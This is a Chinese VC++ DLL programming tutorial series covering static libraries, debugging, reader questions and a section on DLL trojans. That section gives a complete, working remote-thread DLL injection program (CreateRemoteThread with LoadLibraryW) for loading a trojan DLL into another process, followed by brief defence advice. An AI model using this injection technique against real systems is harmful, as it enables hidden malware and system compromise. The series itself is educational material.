1. 概论
先来阐述一下 DLL(Dynamic Linkable Library) 的概念，你可以简单的把 DLL 看成一种仓库，它提供给你一些可以直接拿来用的变量、函数或类。在仓库的发展史上经历了“无库－静态链接库－动态链接库”的时代。静态链接库与动态链接库都是共享代码的方式，如果采用静态链接库，则无论你愿不愿意， lib 中的指令都被直接包含在最终生成的 EXE 文件中了。但是若使用 DLL ，该 DLL 不必被包含在最终 EXE 文件中， EXE 文件执行时可以“动态”地引用和卸载这个与 EXE 独立的 DLL 文件。静态链接库和动态链接库的另外一个区别在于静态链接库中不能再包含其他的动态链接库或者静态库，而在动态链接库中还可以再包含其他的动态或静态链接库。
对动态链接库，我们还需建立如下概念：
（ 1 ） DLL 的编制与具体的编程语言及编译器无关
只要遵循约定的 DLL 接口规范和调用方式，用各种语言编写的 DLL 都可以相互调用。譬如 Windows 提供的系统 DLL （其中包括了 Windows 的 API ），在任何开发环境中都能被调用，不在乎其是 Visual Basic 、 Visual C++ 还是 Delphi 。
（ 2 ）动态链接库随处可见
我们在 Windows 目录下的 system32 文件夹中会看到 kernel32.dll 、 user32.dll 和 gdi32.dll ， windows 的大多数 API 都包含在这些 DLL 中。 kernel32.dll 中的函数主要处理内存管理和进程调度； user32.dll 中的函数主要控制用户界面； gdi32.dll 中的函数则负责图形方面的操作。
一般的程序员都用过类似 MessageBox 的函数，其实它就包含在 user32.dll 这个动态链接库中。由此可见 DLL 对我们来说其实并不陌生。
(3)VC 动态链接库的分类
Visual C++ 支持三种 DLL ，它们分别是 Non-MFC DLL （非 MFC 动态库）、 MFC Regular DLL （ MFC 规则 DLL ）、 MFC Extension DLL （ MFC 扩展 DLL ）。
非 MFC 动态库不采用 MFC 类库结构，其导出函数为标准的 C 接口，能被非 MFC 或 MFC 编写的应用程序所调用； MFC 规则 DLL 包含一个继承自 CWinApp 的类，但其无消息循环； MFC 扩展 DLL 采用 MFC 的动态链接版本创建，它只能被用 MFC 类库所编写的应用程序所调用。
由于本文篇幅较长，内容较多，势必需要先对阅读本文的有关事项进行说明，下面以问答形式给出。
问： 本文主要讲解什么内容？
答： 本文详细介绍了 DLL 编程的方方面面，努力学完本文应可以对 DLL 有较全面的掌握，并能编写大多数 DLL 程序。
问： 如何看本文？
答： 本文每一个主题的讲解都附带了源代码例程，可以随文下载（每个工程都经 WINRAR 压缩）。所有这些例程都由笔者编写并在 VC++6.0 中调试通过。
当然看懂本文不是读者的最终目的，读者应亲自动手实践才能真正掌握 DLL 的奥妙。
问： 学习本文需要什么样的基础知识？
答： 如果你掌握了 C ，并大致掌握了 C++ ，了解一点 MFC 的知识，就可以轻松地看懂本文。
2. 静态链接库
对静态链接库的讲解不是本文的重点，但是在具体讲解 DLL 之前，通过一个静态链接库的例子可以快速地帮助我们建立“库”的概念。
图 1 建立一个静态链接库
如图 1 ，在 VC++6.0 中 new 一个名称为 libTest 的 static library 工程（ 单击此处下载本工程 ），并新建 lib.h 和 lib.cpp 两个文件， lib.h 和 lib.cpp 的源代码如下：
// 文件：
lib.h
#ifndef LIB_H
#define LIB_H
extern "C" int add(int x,int y); // 声明为 C 编译、连接方式的外部函数
#endif
// 文件：
lib.cpp
#include "lib.h"
int add(int x,int y)
{
return x + y;
}
编译这个工程就得到了一个 .lib 文件，这个文件就是一个函数库，它提供了 add 的功能。将头文件和 .lib 文件提交给用户后，用户就可以直接使用其中的 add 函数了。
标准 Turbo C2.0 中的 C 库函数（我们用来的 scanf 、 printf 、 memcpy 、 strcpy 等）就来自这种静态库。
下面来看看怎么使用这个库，在 libTest 工程所在的工作区内 new 一个 libCall 工程。 libCall 工程仅包含一个 main.cpp 文件，它演示了静态链接库的调用方法，其源代码如下：
#include <stdio.h>
#include "../lib.h"
#pragma comment( lib, "..//debug//libTest.lib" ) // 指定与静态库一起连接
int main(int argc, char* argv[])
{
printf( "2 + 3 = %d", add( 2, 3 ) );
}
静态链接库的调用就是这么简单，或许我们每天都在用，可是我们没有明白这个概念。代码中 #pragma comment( lib , "..//debug//libTest.lib" ) 的意思是指本文件生成的 .obj 文件应与 libTest.lib 一起连接。如果不用 #pragma comment 指定，则可以直接在 VC++ 中设置，如图 2 ，依次选择 tools 、 options 、 directories 、 library files 菜单或选项，填入库文件路径。图 2 中加红圈的部分为我们添加的 libTest.lib 文件的路径。
图 2 在 VC 中设置库文件路径
这个静态链接库的例子至少让我们明白了库函数是怎么回事，它们是哪来的。我们现在有下列模糊认识了：
（ 1 ）库不是个怪物，编写库的程序和编写一般的程序区别不大，只是库不能单独执行；
（ 2 ）库提供一些可以给别的程序调用的东东，别的程序要调用它必须以某种方式指明它要调用之。
以上从静态链接库分析而得到的对库的懵懂概念可以直接引申到动态链接库中，动态链接库与静态链接库在编写和调用上的不同体现在库的外部接口定义及调用方式略有差异。
3. 库的调试与查看
在具体进入各类 DLL 的详细阐述之前，有必要对库文件的调试与查看方法进行一下介绍，因为从下一节开始我们将面对大量的例子工程。
由于库文件不能单独执行，因而在按下 F5 （开始 debug 模式执行）或 CTRL+F5 （运行）执行时，其弹出如图 3 所示的对话框，要求用户输入可执行文件的路径来启动库函数的执行。这个时候我们输入要调用该库的 EXE 文件的路径就可以对库进行调试了，其调试技巧与一般应用工程的调试一样。
图 3 库的调试与“运行”
通常有比上述做法更好的调试途径，那就是将库工程和应用工程（调用库的工程）放置在同一 VC 工作区，只对应用工程进行调试，在应用工程调用库中函数的语句处设置断点，执行后按下 F11 ，这样就单步进入了库中的函数。第 2 节中的 libTest 和 libCall 工程就放在了同一工作区，其工程结构如图 4 所示。
图 4 把库工程和调用库的工程放入同一工作区进行调试
上述调试方法对静态链接库和动态链接库而言是一致的。所以本文提供下载的所有源代码中都包含了库工程和调用库的工程，这二者都被包含在一个工作区内，这是笔者提供这种打包下载的用意所在。
动态链接库中的导出接口可以使用 Visual C++ 的 Depends 工具进行查看，让我们用 Depends 打开系统目录中的 user32.dll ，看到了吧？红圈内的就是几个版本的 MessageBox 了！原来它真的在这里啊，原来它就在这里啊！
图 5 用 Depends 查看
DLL
当然 Depends 工具也可以显示 DLL 的层次结构，若用它打开一个可执行文件则可以看出这个可执行文件调用了哪些 DLL 。
好，让我们正式进入动态链接库的世界，先来看看最一般的 DLL ，即非 MFC DLL 。
VC++动态链接库(DLL)编程（六）――DLL木马
VC++动态链接库(DLL)编程（六）
――DLL木马
作者：宋宝华 e-mail:21cnbao@
21cn.com
从前文可知，DLL在程序编制中可作出巨大贡献，它提供了具共性代码的复用能力。但是，正如一门高深的武学，若被掌握在正义之侠的手上，便可助其仗义江湖；但若被掌握在邪恶之徒的手上，则必然在江湖上掀起腥风血雨。DLL正是一种这样的武学。DLL一旦染上了魔性，就不再是正常的DLL程序，而是DLL木马，一种恶贯满盈的病毒，令特洛伊一夜之间国破家亡。
8.1 DLL木马的原理
DLL木马的实现原理是编程者在DLL中包含木马程序代码，随后在目标主机中选择特定目标进程，以某种方式强行指定该进程调用包含木马程序的DLL，最终达到侵袭目标系统的目的。
正是DLL程序自身的特点决定了以这种形式加载木马不仅可行，而且具有良好的隐藏性：
（1）DLL程序被映射到宿主进程的地址空间中，它能够共享宿主进程的资源，并根据宿主进程在目标主机的级别非法访问相应的系统资源；
（2）DLL程序没有独立的进程地址空间，从而可以避免在目标主机中留下“蛛丝马迹”，达到隐蔽自身的目的。
DLL木马实现了“真隐藏”，我们在任务管理器中看不到木马“进程”，它完全溶进了系统的内核。与“真隐藏”对应的是“假隐藏”，“假隐藏”木马把自己注册成为一个服务。虽然在任务管理器中也看不到这个进程，但是“假隐藏”木马本质上还具备独立的进程空间。“假隐藏”只适用于Windows9x的系统，对于基于WINNT的操作系统，通过服务管理器，我们可以发现系统中注册过的服务。
DLL木马注入其它进程的方法为远程线程插入。
远程线程插入技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。将木马程序以DLL的形式实现后，需要使用插入到目标进程中的远程线程将该木马DLL插入到目标进程的地址空间，即利用该线程通过调用Windows API LoadLibrary函数来加载木马DLL，从而实现木马对系统的侵害。
8.2 DLL木马注入程序
这里涉及到一个非常重要的Windows API――CreateRemoteThread。与之相比，我们所习惯使用的CreateThread API函数只能在进程自身内部产生一个新的线程，而且被创建的新线程与主线程共享地址空间和其他资源。而CreateRemoteThread则不同，它可以在另外的进程中产生线程！CreateRemoteThread有如下特点：
（1）CreateRemoteThread较CreateThread多一个参数hProcess，该参数用于指定要创建线程的远程进程，其函数原型为：
HANDLE CreateRemoteThread(
HANDLE hProcess, //远程进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
（2）线程函数的代码不能位于我们用来注入DLL木马的进程所在的地址空间中。也就是说，我们不能想当然地自己写一个函数，并把这个函数作为远程线程的入口函数；
（3）不能把本进程的指针作为CreateRemoteThread的参数，因为本进程的内存空间与远程进程的不一样。
以下程序由作者Shotgun的DLL木马注入程序简化而得（在经典书籍《Windows核心编程》中我们也可以看到类似的例子），它将d盘根目录下的troydll.dll插入到ID为4000的进程中：
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
void CheckError ( int, int, char *); //出错处理函数
PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;
void main(int argc,char **argv)
{
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]={0};
dwRemoteProcessId = 4000;
strcpy(lpDllFullPathName, "d://troydll.dll");
//将DLL文件全路径的ANSI码转换成UNICODE码
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
//打开远程进程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程
PROCESS_VM_OPERATION | //允许VM操作
PROCESS_VM_WRITE, //允许VM写
FALSE, dwRemoteProcessId );
CheckError( (int) hRemoteProcess, NULL,
"Remote Process not Exist or Access Denied!");
//计算DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
//将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
//计算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
//启动远程线程，通过远程线程调用用户的DLL文件
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
//等待远程线程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清场处理
if (pszLibFileRemote != NULL)
{
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL)
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
}
//错误处理函数CheckError()
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
if(iReturnCode==iErrorCode)
{
printf("%s Error:%d/n/n", pErrorMsg, GetLastError());
//清场处理
if (pszLibFileRemote != NULL)
{ VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL)
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
exit(0);
}
}
从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为：
（1）取得宿主进程（即要注入木马的进程）的进程ID dwRemoteProcessId；
（2）取得DLL的完全路径，并将其转换为宽字符模式pszLibFileName；
（3）利用Windows API OpenProcess打开宿主进程，应该开启下列选项：
a.PROCESS_CREATE_THREAD：允许在宿主进程中创建线程；
b.PROCESS_VM_OPERATION：允许对宿主进程中进行VM操作；
c.PROCESS_VM_WRITE：允许对宿主进程进行VM写。
（4）利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间，并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间；
（5）利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址，这个函数将作为随后将启动的远程线程的入口函数；
（6）利用Windows API CreateRemoteThread启动远程线程，将LoadLibraryW的地址作为远程线程的入口函数地址，将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL；
（7）清理现场。
8.3 DLL木马的防治
从DLL木马的原理和一个简单的DLL木马程序中我们学到了DLL木马的工作方式，这可以帮助我们更好地理解DLL木马病毒的防治手段。
一般的木马被植入后要打开一网络端口与攻击程序通信，所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查，我们可以让防火墙对通讯端口进行限制，只允许系统接受几个特定端口的数据请求。这样，即使木马植入成功，攻击者也无法进入到受侵系统，防火墙把攻击者和木马分隔开来了。
对于DLL木马，一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的DLL，如果其中有一些莫名其妙的DLL，则可以断言这个进程是宿主进程，系统被植入了DLL木马。“道高一尺，魔高一丈”，现如今，DLL木马也发展到了更高的境界，它们看起来也不再“莫名其妙”。在最新的一些木马里面，开始采用了先进的DLL陷阱技术，编程者用特洛伊DLL替换已知的系统DLL。特洛伊DLL对所有的函数调用进行过滤，对于正常的调用，使用函数转发器直接转发给被替换的系统DLL；对于一些事先约定好的特殊情况，DLL会执行一些相应的操作。
本文给出的只是DLL木马最简单情况的介绍，读者若有兴趣深入研究，可以参考其它资料。
此后将是本系列文章的最后一次连载，即读者来信与反馈。
VC++动态链接库(DLL)编程（七）――读者反馈与答复
VC++动态链接库(DLL)编程（七）
――读者反馈与答复
作者：宋宝华 e-mail:21cnbao@21cn.com
1.关于文章的获取
许多读者发来e-mail询问本系列文章的相关事宜，如：
（1） 是否已出版？
（2） 哪里可以下载打包版？
（3） 哪里可以下载笔者的其它文章？
还有一些读者对日前笔者在天极网发表的《C语言嵌入式系统编程修炼之道》非常喜爱，给予了热情洋溢的赞扬，询问笔者能否继续创作嵌入式编程方面的文章。
对于这些问题，统一作答如下：
（1）本系列文章暂时尚未出版；
（2）您可以在天极网或pconline软件频道下载笔者的多数拙作。另外，我也将不定期将这些文章上传到我的博客（http://blog.donews.com/21cnbao/）。所有文章中的例程源代码均经过亲手调试，验证无误；
（3）就嵌入式系统开发，笔者将继续进行此方面的创作，新近将推出《基于嵌入式实时OS VxWorks的多任务程序设计》及《领悟：从Windows多线程到VxWorks的多任务》。
非常感谢读者朋友对这些文章的喜爱，在下将竭尽所能地为您提供更多的好文章。
2.关于DLL的疑问
你好，看了你写的“VC++动态链接库(DLL)编程深入浅出”，特别有收获。 只是有个地方我老搞不明白，就是用DLL导出全局变量时，指定了.lib的路径（#pragma comment(lib,"dllTest.lib")），那么.dll的文件的路径呢，我尝试着把.dll文件移到别的地方程序就无法正常运行了，请问.dll在这里怎么指定。
希望您能在百忙中抽空给我解答一下，不胜感激！
一位编程爱好者
回答：
Windows按下列顺序搜索DLL：
（1）当前进程的可执行模块所在的目录；
（2）当前目录；
（3）Windows 系统目录，通过GetSystemDirectory 函数可获得此目录的路径；
（4）Windows 目录，通过GetWindowsDirectory 函数可获得此目录的路径；
（5）PATH 环境变量中列出的目录。
因此，隐式链接时，DLL文件的路径不需要指定也不能指定，系统指定按照1～5的步骤寻找DLL，但是对应的.lib文件却需要指定路径；如果使用Windows API函数LoadLibrary动态加载DLL，则可以指定DLL的路径。
你好,我是一位C++初学者,我在PCONLINE看了教学之后,受益不浅。我想问一下能否在DLL里使用多线程?MSDN上用#using <mscorlib.dll>这个指令之后实现了多线程,不过好象不支持
DLL..
请问有什么办法支持制作多线程DLL??能否给一个源码来
?
回答：
在DLL中可以处理多线程，WIN32对于多线程的支持是操作系统本身提供的一种能力，并不在于用户编写的是哪一类程序。即便是一个控制台程序，我们都可以使用多线程：
#include <stdio.h>
#include <windows.h>
void ThreadFun(void)
{
while(1)
{
printf( "this is new thread/n" );
Sleep( 1000 );
}
}
int main()
{
DWORD threadID;
CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)ThreadFun,
NULL, 0, &threadID );
while(1)
{
printf( "this is main thread/n" );
Sleep( 1000 );
}
}
观察程序运行的结果为在控制台窗口上交替输出this is main thread、this is new thread。
我们来看下面的一个多线程DLL的例子。
DLL程序提供一个接口函数SendInit，在此接口中启动发送线程SendThreadFunc，在这个线程的对应工作函数中我们使用原始套接字socket发送报文。参考微软出版的经典书籍《Windows核心编程》，我们发现，不宜在DLL被加载的时候（即进程绑定时）启动一个新的线程。
这个线程等待一个CEvent事件（用于线程间通信），应用程序调用DLL中的接口函数SendMsg( InterDataPkt sendData )可以释放此事件。下面是相关的源代码：
（1）发送报文线程入口函数
///
//函数名：SendThreadFunc
//函数功能：发送报文工作线程入口函数，使用UDP协议
DWORD WINAPI SendThreadFunc( LPVOID lpvThreadParm )
//提示：对于线程函数应使用WINAPI声明，WINAPI被宏定义为__stdcall
{
/* 创建socket */
sendSock = socket ( AF_INET, SOCK_DGRAM, 0 );
if ( sendSock == INVALID_SOCKET )
{
AfxMessageBox ( "Socket创建失败" );
closesocket ( recvSock );
}
/* 获得目标节点端口与地址 */
struct sockaddr_in desAddr;
desAddr.sin_family=AF_INET;
desAddr.sin_port=htons( DES_RECV_PORT ); //目标节点接收端口
desAddr.sin_addr.s_addr = inet_addr( DES_IP );
/* 发送数据 */
while(1)
{
WaitForSingleObject( hSendEvent, 0xffffffffL );//无限等待事件发生
ResetEvent( hSendEvent );
sendto( sendSock, (char *)sendSockData.data, sendSockData.len,
0, (struct sockaddr*)&desAddr, sizeof(desAddr) );
}
return -1;
}
（2）MFC规则DLL的InitInstance函数
/
// CMultiThreadDllApp initialization
BOOL CMultiThreadDllApp::InitInstance()
{
if ( !AfxSocketInit() ) //初始化socket
{
AfxMessageBox( IDP_SOCKETS_INIT_FAILED );
return FALSE;
}
return TRUE;
}
（3）启动发送线程
//函数名：SendInit
//函数功能：DLL提供给应用程序调用接口，用于启动发送线程
/
void SendInit(void)
{
hSendThread = CreateThread( NULL, 1000, SendThreadFunc,
this, 1, &uSendThreadID );
}
（4）SendMsg函数
//函数名：SendMsg
//函数功能：DLL提供给应用程序调用接口，用于发送报文
/
extern "C" void WINAPI SendMsg( InterDataPkt sendData )
{
sendSockData = sendData;
SetEvent( hSendEvent ); //释放发送事件
}
以上程序仅仅是一个简单的例子，其实在许多工程应用中，我们经常看到这样的处理方式。这个DLL对用户而言仅仅使一个简单的接口函数SendMsg，对调用它的应用程序屏蔽了多线程的技术细节。与之类似，MFC提供的CSocket类在底层自己采用了多线程机制，所以使我们免去了对多线程的使用。
您好,看了您的DLL文章，发现导出函数可以直接用_declspec(dllexport)声明或在.def文件中定义，变量的导出也一样。我想知道类是否也可以在.def文件中导出？您的文章中只讲了在类前添加_declspec(dllexport)导出类的方法。请您指教！
回答：
一般我们不采用.def文件导出类，但是这并不意味着类不能用.def文件导出类。
使用Depends查看连载2的“导出类”例程生成的DLL，我们发现其导出了如图21的众多“怪”symbol，这些symbol都是经过编译器处理的。因此，为了以.def文件导出类，我们必须把这些“怪”symbol全部导出，实在是不划算啊！所以对于类，我们最好直接以_declspec(dllexport)导出。
图21 导出类时导出的
symbol
您好,看了您的DLL文章，知道怎么创建DLL了，但是面对一个具体的工程，我还是不知道究竟应该把什么做成DLL？您能给一些这方面的经验吗？
回答：
DLL一般用于软件模块中较固定、较通用的可以被复用的模块，这里有一个非常好的例子，就是豪杰超级解霸。梁肇新大师把处理视频和音频的算法模块专门做成了两个DLL，供超级解霸的用户界面GUI程序调用，实在是DLL设计的模范教程。所谓“万变不离其宗”，超级解霸的界面再cool，用到的还是那几个DLL！具体请参考《编程高手箴言》一书。
您好,您的DLL文章讲的都是Windows的，请问Linux操作系统上可以制作DLL吗？如果能，和Windows有什么不一样？谢谢！
回答：
在Linux操作系统中，也可以采用动态链接技术进行软件设计，但与Windows下DLL的创建和调用方式有些不同。
Linux操作系统中的共享对象技术（Shared Object）与Windows里的DLL相对应，但名称不一样，其共享对象文件以.so作为后缀。与Linux共享对象技术相关的一些函数如下：
(1)打开共享对象，函数原型：
//
打开名为filename共享对象，并返回操作句柄；
void *dlopen (const char *filename, int flag);
(2)取函数地址，函数原型:
//
获得接口函数地址
void *dlsym(void *handle, char *symbol);
(3)关闭共享对象，函数原型:
//
关闭指定句柄的共享对象
int dlclose (void *handle);
(4)动态库错误函数，函数原型:
//
共享对象操作函数执行失败时，返回出错信息
const char *dlerror(void);
从这里我们分明看到Windows API――LoadLibrary、FreeLibrary和GetProcAddress的影子！又一个“万变不离其宗”！
摘自 http://www.cppblog.com/kyelin/articles/17644.html
